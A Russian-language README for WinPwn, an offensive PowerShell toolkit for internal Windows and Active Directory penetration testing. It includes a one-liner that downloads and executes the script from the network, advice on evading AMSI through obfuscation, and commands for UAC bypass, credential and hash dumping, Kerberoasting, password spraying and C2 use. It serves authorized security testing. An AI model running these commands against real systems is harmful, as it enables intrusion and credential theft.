
Автоматизация для внутреннего тестирования на проникновение Windows / безопасности Active Directory
Во многих прошлых внутренних тестах на проникновение у меня часто возникали проблемы с существующими скриптами PowerShell для разведки / эксплуатации из-за отсутствия поддержки прокси. Я также часто запускал одни и те же скрипты один за другим, чтобы получить информацию о текущей системе и/или домене. Чтобы автоматизировать как можно больше процессов внутреннего пентеста (разведки и эксплуатации) и по причинам, связанным с прокси, я написал свой собственный скрипт с автоматическим распознаванием и интеграцией прокси. Скрипт в основном основан на известных крупных проектах других специалистов по безопасности на PowerShell.
Любые предложения, отзывы, запросы на включение изменений и комментарии приветствуются!
Просто импортируйте модуль с помощью:
Import-Module .\WinPwn.ps1 или
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Чтобы обойти AMSI, используйте один из существующих методов обхода, найдите триггер AMSI и вручную измените его в функции обхода или закодируйте строку триггера. В качестве альтернативы обфусцируйте весь скрипт.
Если вы застряли в системе Windows без доступа к интернету — это не проблема, просто используйте Offline_Winpwn.ps1, наиболее важные скрипты и исполняемые файлы уже включены.
Функции, доступные после импорта:
WinPwn -> Меню для выбора атак:
Inveigh -> Запускает Inveigh в новом окне консоли, интегрированы SMB-Relay атаки с управлением сессиями (Invoke-TheHash)SessionGopher -> Запускает Sessiongopher с запросом параметровKittielocal ->Localreconmodules ->Без параметров большинство функций можно использовать только из интерактивной оболочки. Поэтому я решил добавить параметры -noninteractive и -consoleoutput, чтобы сделать скрипт пригодным для использования из асинхронных C2-фреймворков, таких как Empire, Covenant, Cobalt Strike и другие.
Дополнительно был добавлен параметр -repo для использования WinPwn со всеми его функциями из локального репозитория. Их можно использовать следующим образом:
Использование:
-noninteractive -> Без вопросов для функций, чтобы они выполнялись с предопределенными или заданными пользователем параметрами
-consoleoutput -> Папки с трофеями/отчетами не создаются. Каждая функция возвращает вывод в консоль, так что вы можете просмотреть все в журналах агента вашего C2-фреймворка. Примеры:
WinPwn -noninteractive -consoleoutput -DomainRecon -> Это запустит каждый скрипт разведки домена и
функцию и, вероятно, даст вам очень много вывода.
WinPwn -noninteractive -consoleoutput -Localrecon -> Это соберет как можно больше информации о локальной
системе.
Generalrecon -noninteractive -> Выполнить основные функции локальной разведки и сохранить вывод
в соответствующих папках.
UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp -> Запустить стейджер в процессе с высоким уровнем
целостности из сессии с низкими привилегиями.
Kittielocal -noninteractive -consoleoutput -browsercredentials -> Сбросить учетные данные браузера с помощью Sharpweb,
вывод в консоль.
Kittielocal -noninteractive -browsercredentials -> Сбросить NTLM-хеши SAM-файла и сохранить
вывод в файл.
WinPwn -PowerSharpPack -consoleoutput -noninteractive -> Запустить Seatbelt, PowerUp, Watson и
другие C#-бинарные файлы в памяти.
Dotnetsearch -consoleoutput -noninteractive -> Поиск в C:\Program Files\ и C:\Program Files (x86)\ .NET-сборок.
WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo -> Использовать локальный веб-сервер в качестве офлайн-репозитория для использования WinPwn без доступа в интернет.
Get_WinPwn_Repo.sh:
Использование: ./Get_WinPwn_Repo.sh {Опция}
Пример: ./Get_WinPwn_Repo.sh --install
Опции: --install Скачать репозиторий и разместить его в ./WinPwn_Repo/ --remove Удалить репозиторий ./WinPwn_Repo/ --reinstall Удалить репозиторий и скачать новый в ./WinPwn_Repo/ --start-server Запустить Python HTTP-сервер на порту 8000 --help Показать эту справку
Использование WinPwn для атаки на цели без предварительного взаимного согласия незаконно. Ответственность за соблюдение всех применимых местных, государственных и федеральных законов лежит на конечном пользователе. Разработчики не несут никакой ответственности и не несут ответственности за любое неправомерное использование или ущерб, причиненный этой программой. Используйте только в образовательных целях.
Domainreconmodules ->Privescmoduleskernelexploits ->UACBypass ->SYSTEMShell ->Shareenumeration -> Invoke-Filefinder и Invoke-Sharefinder (Powerview / Powersploit)Domainshares -> Поиск Snaffler или Passhunt по всем системам доменаGroupsearch -> Get-DomainGPOUserLocalGroupMapping - поиск систем, где у вас есть доступ администратора или RDP через сопоставление групповых политик (Powerview / Powersploit)Kerberoasting -> Запускает Invoke-Kerberoast в новом окне и сохраняет хеши для последующего взломаPowerSQL -> Обнаружение SQL-серверов, проверка доступа с текущим пользователем, аудит на наличие учетных данных по умолчанию + атаки внедрения UNC-путейSharphound -> Отчет Bloodhound 3.0Adidnsmenu -> Создание или удаление узлов DNS, интегрированных в Active DirectoryMS17-10 -> Сканирование активных Windows-серверов в домене или всех систем на уязвимость MS17-10 (Eternalblue)Sharpcradle -> Загрузка C#-файлов с удаленного веб-сервера в RAMDomainPassSpray -> Атаки DomainPasswordSpray, один пароль для всех пользователей доменаBluekeep -> Сканер Bluekeep для систем домена